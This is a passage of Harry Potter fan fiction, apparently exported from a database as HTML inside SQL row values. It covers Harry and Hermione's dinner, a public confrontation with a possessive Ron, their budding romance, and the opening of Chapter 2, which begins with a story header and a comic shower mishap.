out.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione laughed. &#8220;I can see why. You&#8217;ve been working so hard, and keeping to yourself so much, it&#8217;s a wonder you&#8217;re still sane.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know, I was just thinking that same thing yesterday.&#8221; Harry chuckled. He sipped his drink, and took the opportunity to scan the tables nearby for people he knew. He spotted a flash of white-blonde hair, and turned quickly to Hermione. &#8220;I forgot to ask, but whatever became of Malfoy?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What? Oh! He&#8217;s on the Hogwarts Board of Governors now.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wow. How much trouble does he cause?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Surprisingly, he&#8217;s not that bad. He changed a lot after you spared his father&#8217;s life, and most of it was for the better. Oh sure, he still likes to annoy on general principles, but he does back up the Board&#8217;s decisions.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sounds like you&#8217;ve been keeping tabs on him. Good girl, I knew you wouldn&#8217;t let me down.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I had to, just because he acted reformed didn&#8217;t mean that he was reformed. But this latest development should be the clincher to his transformation.&#8221; Hermione leaned in close. &#8220;Want to hear a secret?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked around to make sure no one would hear what she had to say. &#8220;He&#8217;s been dating Ginny, and she said he proposed.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry&#8217;s eyes widened, and his eyebrows shot up. &#8220;You&#8217;re joking!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nope, I got an owl from Ginny about a week ago, telling me everything.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do her parents know?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; she said, shaking her head. &#8220;They&#8217;ve been dating in secret for the past six months, and now they&#8217;re getting married.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Is she---?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t think so, but maybe,&#8221; she said. &#8220;Wouldn&#8217;t that be adorable?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;A blonde Weasley, or a redheaded Malfoy. Hmmm.&#8221; Harry thought for a moment, then his face split in a wide grin. &#8220;I can just see the look on Lucius Malfoy&#8217;s face.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione giggled. &#8220;I can too.&#8221;</p>\n\n<p>Harry was about to say more, but he noticed the waitress returning with their food.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ahh, here we go. Dinner salad with Italian Vinaigrette,&#8221; she said, setting down Hermione&#8217;s plate. &#8220;And, dinner salad with Ranch.&#8221; She set down Harry&#8217;s plate. &#8220;Your entr&#233;e will be ready in a few moments.&#8221; She hurried off again.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mmm, looks good,&#8221; he said. He started mixing his salad together. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione watched Harry dig into his meal. &#8220;Hungry aren&#8217;t you?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded, his cheeks bulging with food. He chewed quickly, and swallowed hard. &#8220;Yeah, I&#8217;ve missed having a variety. Soup and crackers gets old fast.&#8221; He stabbed his salad viciously, impaling lettuce, cheese, and a cherry tomato on his fork&#8217;s tines. He looked at the pile of food on his fork and frowned. &#8220;Wish I had a bigger fork.&#8221;</p>\n\n<p>Hermione laughed, but kept her hands well away from his plate, lest she lose a finger or two. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Slow down Harry. We&#8217;ve plenty of time to enjoy our meal. No need for you to inhale it like that.&#8221; Hermione chided.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry,&#8221; he said. He slowed down his almost frantic eating pace. &#8220;It&#8217;s just so GOOD!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes it is, and it&#8217;s even better when you taste it!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This last comment came right as Harry was taking a drink, and he choked on his butterbeer. &#8220;That wasn&#8217;t funny Hermione!&#8221; He said, coughing.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes it was,&#8221; she snickered.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, it was funny, but I could&#8217;ve drowned!&#8221; Harry wailed.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This caused Hermione to burst out laughing. The mighty Harry Potter, The Boy Who Lived, the guy that faced Voldemort without batting an eye, was whining about choking on his drink. Harry played up the part, every inch the victim. &#8220;Oh sure, laugh at me. Some friend you are, I take you out to dinner for my birthday, and you try to kill me as a present!</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione shrieked with laughter, and she held her aching sides. &#8220;St-st-stop Harry! I c-c-can&#8217;t b-b-breathe!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You can dish it out, but you can&#8217;t take it!&#8221; Harry said, joining her in laughter. Hermione was laughing so hard, all she could do was wave a hand, and hope he would stop.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Deciding that she had suffered enough, Harry got serious. &#8220;So tell me all about this thing with Ron. I know you said you and he kind of dated, but that doesn&#8217;t tell me much.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The abrupt change in topic caught Hermione off guard, and her laughter died immediately. &#8220;It&#8217;s kind of hard to explain, but since it&#8217;s over I&#8217;ll give it a shot.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hang on, here comes our dinner.&#8221; Harry said, spotting the waitress heading their way.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Here you are, one Bruschetta Chicken,&#8221; the waitress said, placing their meals on the table, &#8220;and one well done 16 oz. Sirloin with baked potato, no sour cream. Enjoy your meal, and don&#8217;t hesitate to call if you need anything.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you, we shall,&#8221; said Hermione.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry attacked his steak with the same ferocity he had shown the salad earlier. He sliced it quickly into bite-sized chunks, and speared one on his knife tip. He ate it straight off the blade, and sighed in obvious bliss. A huge contented smile lit his face as he chewed slowly, savoring the first bite. &#8220;Delicious.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione ate slowly, &#8220;It isn&#8217;t often that I go out, but when I do, I like to enjoy every second of it.&#8221; She took a sip of her drink, and watched Harry add butter to his now mashed up potato. &#8220;As I was about to say,&#8221; she said. &#8220;In 4<sup>th</sup> year, I knew Ron was attracted to me, but not how much. Then in 5<sup>th</sup> year, he started flirting with me. I wasn&#8217;t sure how to handle that, so I pretended not to notice.&#8221; She took a bite of her chicken, and washed it down. &#8220;Problem was, Ron thought I was playing hard to get, and increased his efforts.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked up, &#8220;All this was going on, and he never even told me about it.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He was kind of weird there for a little while, and really made me nervous at times. The way he would look at me, it just made my skin crawl every time he did it. For a short time, I was afraid that Voldemort had somehow taken control of him, and was planning on using him in some way to get at you through me,&#8221; she confided. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That was always my biggest fear,&#8221; said Harry. &#8220;That one day he&#8217;d do something to one of you, or worse, use one of you to hurt the other.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, you put an end to all that finally, so I&#8217;ll jump ahead a bit. This was when you were doing all that secret training with Dumbledore. He&#8217;d ask me out every so often, but I was always busy, so he&#8217;d stay and try to help me with whatever I was working on. But that usually ended up with us fighting, and him storming off. This was our normal routine all the way to graduation. Then you left with Sirius, and Ron started spending a lot more time with me. We&#8217;d hang out at my house, or his, we went to some Quidditch matches but that was it. </p>\n\n<p>&#8220;Then one night he tried to kiss me, and I pushed him away. I realized then, that he was more than attracted to me. He wanted me, but I didn&#8217;t want him, not that way at least. I tried to explain it to him, that he was moving way to fast, and he blew up at me. Accused me of teasing him all through school, leading him on, and getting his hopes up. But I swear Harry, I never said or did anything to make him think that. Then a few days later, he apologized and we went back to hanging out again. Then, he got recruited by the Cannons, and went off to training camp. When he came back for visits, you could see how proud he was of himself, and I admit I fawned over the accomplishment, what with him being in your shadow for so long and all. </p>\n\n<p>&#8220;Anyway, after that he was convinced that I belonged to him, and that&#8217;s when it got really bad. He owled me constantly, sending me love notes, candy, and presents. Then he started showing up at my house unannounced, and uninvited almost every Friday night, asking me to go to dinner, or the theater. I tried to be gracious, but it just got so annoying.&#8221; Hermione paused, and took a few more bites.</p>\n\n<p>&#8220;I&#8217;m sure it did,&#8221; said Harry. &#8220;Having someone always bothering you like that.&#8221;</p>\n\n<p>&#8220;Well, after everything that happened, I was in no mood to put up with more of his foolishness. And that&#8217;s when he invited me to the dinner, it just so happened to be on the same night as my mother&#8217;s award ceremony, and I decided to tell him why I wouldn&#8217;t be going with him in person. I had hoped that he would take it better if I told him rather than owled him. However, that wasn&#8217;t the case. I can&#8217;t tell you everything he said, because I quit listening after the first two minutes of his ranting. He wouldn&#8217;t let me get a word in, and I finally had enough and went home. But I told you this already.&#8221;</p>\n\n<p>&#8220;I know, but now I understand a little better. I hate to say this, but I think he&#8217;s obsessed with you.&#8221;</p>\n\n<p>&#8220;It seems that way doesn&#8217;t it?&#8221; She sipped her drink. &#8220;Maybe when we get this thing with Dumbledore sorted out, you could have a talk with him,&#8221; Hermione said hopefully.</p>\n\n<p>&#8220;Yeah, I&#8217;ll do that.&#8221; Harry promised.</p>\n\n<p>&#8220;Thanks.&#8221;</p>\n\n<p>They ate in silence, until their meal was finished. Harry wiped his mouth, and checked his bowls and plates for anything he might have missed.</p>\n\n<p>&#8220;I&#8217;m going to the bathroom,&#8221; he said. He laid a handful of coins on the table, &#8220;This&#8217;ll take care of the check and the tip. I&#8217;ll be right back&#8221; </p>\n\n<p>Hermione nodded, and began counting the money while Harry made his way to the restrooms. When he came out, he saw Hermione staring very hard at someone sitting in his chair, the look on her face made him pause and he eased closer to hear the conversation.</p>\n\n<p>&#8220;Why didn&#8217;t you tell me the truth!&#8221; an agitated male voice asked.</p>\n\n<p>Hermione rolled her eyes. &#8220;Because I don&#8217;t answer to you.&#8221;</p>\n\n<p>&#8220;But you&#8217;re my girlfriend, you&#8217;re supposed to be with me!&#8221;</p>\n\n<p>&#8220;I am <b>not</b> your girlfriend, and even if I was, I see it didn&#8217;t take you long to find a date,&#8221; she said, looking to the side of the male voice. &#8220;Was she expensive?&#8221;</p>\n\n<p>&#8220;Ronnie, are you going to let her talk to me like that?&#8221; said a peeved female voice.</p>\n\n<p>&#8220;Hermione! Take that back!&#8221;</p>\n\n<p>&#8220;Of course, that was rude of me,&#8221; Hermione said sweetly.&nbsp; &#8220;I&#8217;m sure she&#8217;s just another one of your adoring fans.&#8221;</p>\n\n<p>&#8220;This isn&#8217;t about me, it&#8217;s about you and what you&#8217;re doing here?&#8221;</p>\n\n<p>&#8220;I&#8217;m having dinner silly, what does it look like?&#8221;</p>\n\n<p>Harry heard something hit the table.&nbsp; &#8220;Yeah, but there are two plates here, and I&#8217;m sure you don&#8217;t dress like that to go out with the girls, so who&#8217;s the jerk?&#8221;</p>\n\n<p>&#8220;That&#8217;s none of your business. Now, if you&#8217;ll excuse me I really must be going,&#8221; she said, getting up from the table.&nbsp; She started to walk away but a hand on her arm stopped her.</p>\n\n<p>&#8220;We&#8217;re not finished yet! I asked you who he was, now tell me!&#8221; </p>\n\n<p>Ron&#8217;s shouting caught the attention of everyone in the restaurant.</p>\n\n<p>Hermione looked at the hand on her arm then into Ron&#8217;s eyes. &#8220;You&#8217;re causing a scene,&#8221; she said coolly, &#8220;Please take your hand off me.&#8221;</p>\n\n<p>Hermione tried to pull away, and winced when Ron&#8217;s grip tightened.</p>\n\n<p>When Harry saw Hermione in pain, he moved quickly forward. Grabbing Ron by the shoulder, he squeezed tightly and growled in a low dangerous voice. &#8220;Hands off the lady, bub.&#8221;</p>\n\n<p>He took a step back as Ron spun quickly and threw a high right cross. Harry caught the fist effortlessly, and through gritted teeth said, &#8220;Calm down.&#8221; He was about to say more when the authorities arrived.</p>\n\n<p>&#8220;What&#8217;s going on here?&#8221; the uniform demanded.</p>\n\n<p>Harry started to explain, but was cut off by Ron. &#8220;I&#8217;m glad you&#8217;re here, this man was disturbing my two fans here, and when I stepped in to stop him he assaulted me!&#8221;</p>\n\n<p>&#8220;EXCUSE ME!&#8221; Hermione shouted, &#8220;That&#8217;s the biggest lie I&#8217;ve ever heard!&#8221; She gestured at the nearby diners. &#8220;You can ask them what happened, they all saw it.&#8221;</p>\n\n<p>The officer looked at the nearest patron. &#8220;Is that right? Did you see it?&#8221;</p>\n\n<p>&#8220;Yes sir, officer, the young lady was having dinner with the dark haired chap, and this redheaded fellow with the blonde appeared and started causing trouble.&#8221;</p>\n\n<p>&#8220;Is that so? Well then, I&#8217;m going to have to ask all four of you to leave these premises.&#8221; He pointed towards the exit. &#8220;After you.&#8221;</p>\n\n<p>Harry grabbed Hermione&#8217;s cloak and slipped it around her shoulders, &#8220;We were just leaving anyway.&#8221;</p>\n\n<p>Ron stared hard at the officer as he walked by. &#8220;Do you know who I am?&#8221; </p>\n\n<p>&#8220;No, and I don&#8217;t care, if you want to fight do it outside. Now leave!&#8221;</p>\n\n<p>&#8220;Alright, I&#8217;m going, I&#8217;m going.&#8221;</p>\n\n<p>Outside, Hermione took Harry&#8217;s hand and tugged him down the nearest alley where they hid in the shadows.&nbsp; Harry leaned his head around the corner and waited for Ron to exit, he was inclined to go back and teach his friend a lesson, only Hermione&#8217;s hands on his arm stopping him. He watched the redhead stalk out dragging the blonde behind him with narrowed eyes. Ron looked right and left, then he and his date Apparated with an audible &#8220;pop.&#8221;</p>\n\n<p>Hermione tugged on his arm, getting his attention. &#8220;Harry can we go home now?&#8221; she asked quietly.</p>\n\n<p>Harry nodded, &#8220;Yeah, that sounds like a good idea.&#8221; </p>\n\n<p>They walked up the hill to the Shrieking Shack talking about their encounter with Ron. Harry was appalled at the way Ron had acted towards Hermione.</p>\n\n<p>&#8220;I can&#8217;t believe that was Ron. He&#8217;s so different from the last time I saw him.&#8221;</p>\n\n<p>&#8220;Now you see what I&#8217;ve had to put up with.&#8221; She laid her head on his arm as they walked.</p>\n\n<p>Harry looked down, but didn&#8217;t say anything. They continued to his place in silence. They crossed the visibility boundary (a neat little spell he had concocted himself), and to anyone watching, disappeared from sight. </p>\n\n<p>They entered the shack through the secret entrance, and Harry hung up their cloaks. He turned to Hermione. &#8220;Thank you for the wonderful time, I&#8217;m sorry that it got ruined.&#8221;</p>\n\n<p>Hermione stared up at him, &#8220;It wasn&#8217;t your fault Harry. Even with the disturbance, I had a wonderful evening with you.&#8221;</p>\n\n<p>&#8220;Really?&#8221; he asked. </p>\n\n<p>&#8220;Yes,&#8221; she said, &#8220;I had a lovely meal, some <i>interesting</i> conversation, and a floor show.&#8221;</p>\n\n<p>Harry grinned. &#8220;Me too. Could have done without the intrusion though,&#8221; he said. &#8220;After all that excitement, I&#8217;m wired, there&#8217;s no way I can go to sleep now.&#8221;</p>\n\n<p>&#8220;Harry,&#8221; Hermione frowned. &#8220;You were supposed to get some sleep. I&#8217;ll make you a sleeping potion.&#8221;</p>\n\n<p>&nbsp; &#8220;Nah, I&#8217;ll make some coffee. Why don&#8217;t you go change?&#8221; He gave her clothes a long look, &#8220;Anything that looks that good can&#8217;t be comfortable.&#8221;</p>\n\n<p>Hermione blushed at his compliment. &#8220;Thank you, and you&#8217;re right, these heels are killing me!&#8221; She started to lean down to take off her shoes, but Harry beat her to it. </p>\n\n<p>&#8220;Let me do that.&#8221; He unbuckled the straps around her ankles, lightly caressing her shapely legs as he raised each one. He slid first one shoe off and then the other, keeping his gaze solidly on the black leather objects in his hands. He stood back up and held them out to her. &#8220;Here you go.&#8221;</p>\n\n<p>Hermione took them, and looked up at Harry. With the shoes on, she had been level with his mouth. Without them, she barely reached his chin. &#8220;Thank you.&#8221;&nbsp; She stared at his lips, and her deep brown eyes grew darker. Harry felt himself getting lost in them. </p>\n\n<p>&#8220;I&#8217;m-I&#8217;m going- uh-going to go make that coffee now.&#8221; He stuttered. The look in her eyes was making it hard to think, let alone talk. He tried to back away, but she grabbed his shirt - front and pulled him down for a quick kiss on the cheek. She whispered in his ear while he was bent over.</p>\n\n<p>&#8220;I&#8217;m not sure what&#8217;s going on between us Harry, but I like it. I hope you do too.&#8221;</p>\n\n<p>Of their own accord, Harry&#8217;s arms came up and pulled her to him in a fierce hug. &#8220;I do like it, and as much as I want to do more, something deep inside is telling me to wait,&#8221; he said.</p>\n\n<p>&#8220;I understand,&#8221; she said quietly. &#8220;You&#8217;re not sure about how to handle this.&#8221;</p>\n\n<p>&#8220;No! I know how I feel about this. I&#8217;m attracted to you Hermione. I want you more than I&#8217;ve ever wanted anyone, but that&#8217;s not fair to you. You deserve so much more. I know what I&#8217;d like to do, but there&#8217;s this voice telling me not to act on my impulses. And I&#8217;ve learned to listen to that voice, it&#8217;s kept us safe numerous times.&#8221;</p>\n\n<p>&#8220;Oh, then what do we do?&#8221;</p>\n\n<p>Harry kissed the top of her head. &#8220;Let&#8217;s just have fun, but we can&#8217;t get physical. Not that I thought you wanted to get physical or anything,&#8221; he said hastily. &#8220;That voice is telling me that I can and should enjoy every aspect of your company, but it&#8217;s also telling me to keep my hands to myself. It tears me up to say it, but I think we should heed it.&#8221;</p>\n\n<p>Hermione smiled up at him, &#8220;Okay then, nothing physical. Not that you want to get physical with me or anything,&#8221; she grinned.</p>\n\n<p>He breathed a sigh of relief. &#8220;Deal, we can hug, hold hands, and maybe eventually kiss, but nothing more than that.&#8221;<b></b></p>\n\n<p>&#8220;Right, well I&#8217;m going to get out of these clothes, and into something a lot more comfortable.&#8221; She broke the hug and walked down the stairs. She turned back to him before leaving. &#8220;I like you Harry. I like you a lot. I&#8217;ve never felt this way about any guy except you. Is it love? I don&#8217;t know, but I do want to find out.&#8221; She hurried downstairs.</p>\n\n<p>Harry wasn&#8217;t really that surprised. He had realized he had similar feelings earlier when his power had decided to take over. They never did that unless he was having very strong feelings about the person he was with. The previous times had been out of anger, but with Hermione, it was something different. He would just take it slow, and see where they ended up. The voice was telling him that everything would turn out all right as long as he and Hermione didn&#8217;t have sex. Harry hoped rather fervently that the voice would change it&#8217;s mind, and <b>SOON! </b>Shaking his head to clear it, he went to the kitchen and set about making coffee.&nbsp; Leaving the coffee to percolate, Harry decided that he might as well change clothes too.&nbsp; He was headed to his room when Hermione came out dressed in dark blue vinyl shorts and a white t-shirt with her hair in a ponytail.</p>\n\n<p>&#8220;I&#8217;m going to change real quick and then I&#8217;ll finish the coffee,&#8221; Harry said.</p>\n\n<p>&#8220;That&#8217;s okay,&#8221; said Hermione.&nbsp; &#8220;I&#8217;ll do it.&#8221;</p>\n\n<p>&#8220;Thanks,&#8221; said Harry, &#8220;I won&#8217;t be long.&#8221;&nbsp; He hurried to his room, and undressed quickly. He grabbed a black t-shirt, and pajama bottoms from a drawer and pulled them on. He went to the library, and found Hermione already there. She had two cups of coffee in front of her, and was busy taking notes. She looked up when he entered. </p>\n\n<p>&#8220;Harry! I&#8217;ve just discovered some very interesting information!&#8221;</p>\n\n<p>He walked in and sat down on the couch close to her, &#8220;Oh yeah?&#8221;</p>\n\n<p>&#8220;Yes.&#8221; She held up his notebook. &#8220;I was taking a look at your notes, and comparing them to some I took while I was researching my book, and a number of rare or priceless books disappeared about six hundred years ago.&#8221;</p>\n\n<p>Harry took a sip of his coffee. &#8220;Yeah, so?&#8221;</p>\n\n<p>Hermione smacked him on the shoulder with the notebook. &#8220;So you big dummy, all we have to do is find out what happened six hundred years ago that might have caused these books to disappear.&#8221;</p>\n\n<p>&#8220;Oh, is that all?&#8221; Harry asked sarcastically. &#8220;I thought it was going to be something hard. Where are we going to find information like that?&#8221;</p>\n\n<p>&#8220;There&#8217;s only one place that I can think of.&#8221; She said, picking up her coffee.</p>\n\n<p>&#8220;You don&#8217;t mean?&#8221;</p>\n\n<p>&#8220;Yes Harry. The Hogwarts library.&#8221;</p>\n\n<p>&#8220;NOOOOoooooo!&#8221; Harry howled.</p>\n\n<p>&#8220;Harry! What&#8217;s wrong?&#8221; Hermione asked, alarmed.</p>\n\n<p>&#8220;No, no, no! It&#8217;s only been two years since the last time I was there!&#8221; He wailed, &#8220;In case you forgot, we were there for four straight days! It&#8217;s only been two years, that&#8217;s one year per day! I&#8217;ve got two more years to go before that memory will be erased.&#8221;</p>\n\n<p>&nbsp;&#8220;Now Harry. That&#8217;s no way to be.&#8221; Hermione chided.</p>\n\n<p>&#8220;It&#8217;s not fair! I&#8217;ve spent the past three months buried in books, and I did it without complaining. Now you want me to go to the <i>Library</i>?&#8221;</p>\n\n<p>&#8220;Harry.&#8221;</p>\n\n<p>&#8220;I know. I know, but it&#8217;s going to take forever, and that&#8217;s <b>with</b> the speed-reading spell we&#8217;ve been using.&#8221;</p>\n\n<p>&#8220;Harry.&#8221;</p>\n\n<p>&#8220;Oh alright! I&#8217;ll go!&#8221;</p>\n\n<p>&#8220;Harry.&#8221;</p>\n\n<p>Harry rolled his eyes, &#8220;And I won&#8217;t complain.&#8221;</p>\n\n<p>Hermione smiled brightly. &#8220;Good, that&#8217;s what I wanted to hear.&#8221; She patted Harry on the arm. &#8220;It&#8217;ll be alright.&#8221;</p>\n\n<p>&#8220;Thanks. At least I won&#8217;t have to do it alone anymore.&#8221; He yawned mightily. &#8220;Whoa. Where&#8217;d that come from?&#8221;</p>\n\n<p>&#8220;Looks like that adrenaline rush you were on is fading. You&#8217;d better go to bed, I&#8217;ll take care of this.&#8221;</p>\n\n<p>Harry&#8217;s eyes blurred, and he rubbed them. &#8220;I think-think that&#8217;s a good idea.&#8221; He wandered out of the study, and stumbled into his bedroom. His eyes closing, Harry flopped on top of his bed and was immediately asleep. </p>\n\n<p>TBC</p> '),
	(107, 2, '\n\n\n\n<p class="MsoNormal"><b>Title:</b> Harry Potter and The Panacea &#8211; Chapter 02<br>\n<b>Author name:</b> Falcon<br>\n<b>Author email:</b> falcun_21@yahoo.com<br>\n<b>Category:</b> Schnoogle<br>\n<b>Sub Category:</b> Action/Adventure, Romance, Humor<br>\n<b>Keywords:</b> H/Hr<br>\n<b>Rating:</b> R <br>\n<b>Summary:</b> Two years have gone by since the end of Harry&#8217;s final\nyear.&nbsp; Voldemort is dead.&nbsp; Harry has withdrawn from the wizarding\nsociety after defeating Voldemort and graduation from Hogwarts, but still keeps\nin contact with Ron &amp; Hermione through owl post and occasional visits.&nbsp; Ron is a Chudley Cannon. Hermione has been\nworking at Hogwarts since their final year with all the Professors.&nbsp; Sirius has been acquitted of all charges\nagainst him and is the Transfiguration Professor.&nbsp; Professor McGonagall is the new Headmistress replacing an ill\nHeadmaster Dumbledore and Flitwick is the Deputy Headmaster.&nbsp; Lupin is reinstated as the DADA Professor\nafter Moody&#8217;s retirement.&nbsp; </p>\n\n<p class="MsoNormal"><b>&nbsp;</b></p>\n\n<p class="MsoNormal"><b>Disclaimer</b>: All characters belong to JKR, and I ain&#8217;t\nmaking no money off them. This story is made up of my own original ideas, and\nany resemblance to anyone else&#8217;s is strictly coincidental, and unintentional.<b></b></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><b>&nbsp;</b></p>\n\n<p class="MsoNormal" style="text-align:center;text-indent:.5in" align="center"><b>Chapter\n2</b></p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry awoke the next morning at 6\na.m. He tried to roll over and go back to sleep, but he reminded himself that\nhe had work to do. He threw off the covers, and vaguely wondered when he had\ngotten under them. Harry stood up and stumbled into the bathroom. He turned on\nthe shower, and let the water get hot while he attended to other matters. He\nstripped bare, hopped in the shower, and closed the clear glass door. His eyes\nwere closed, and his head was leant forward against the wall, as the hot water\ncoursed down his lean, muscular body. Harry was on autopilot, his body was\nawake but his mind wasn&#8217;t. If it had been, then he would have remembered that\nhe was no longer alone in the house, and he would have remembered to lock the\ndoor. As it were, he had just put shampoo in his hair, and was scrubbing his\nbody, trying hard to ignore how his body responded to the slightest touch, when\nthe door opened and Hermione walked in.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry didn&#8217;t even notice that she\nwas standing in the doorway staring, until he turned around to put back the\nsoap.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Yaaaaahhhhh! HERMIONE!&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Hermione&#8217;s eyes were very wide, and\nshe stared at him. &#8220;I-I-I-I am s-s-s-soooooo sorrrrry!&#8221; she stammered, but made\nno move to leave.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;HERMIONE! GO!&#8221; Harry yelled, and\ntried to cover himself, but that just drew her attention, and her eyes grew\nwider. He could have swore that he heard her mutter &#8220;Wow,&#8221; but maybe he had\ngotten soap in his ears, and if she had said it, she didn&#8217;t repeat it. </p>\n\n<p class="MsoNormal" style="text-indent:.5in">&#8220;Sorry Harry,&#8221; she blushed crimson,\nand bolted from the room.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Harry slammed the door with a wave\nof his hand, and looked down at his body. &#8220;Thanks a lot,&#8221; he muttered. He\ngrabbed the shaving cream, and lathered his face. He harbored the faint 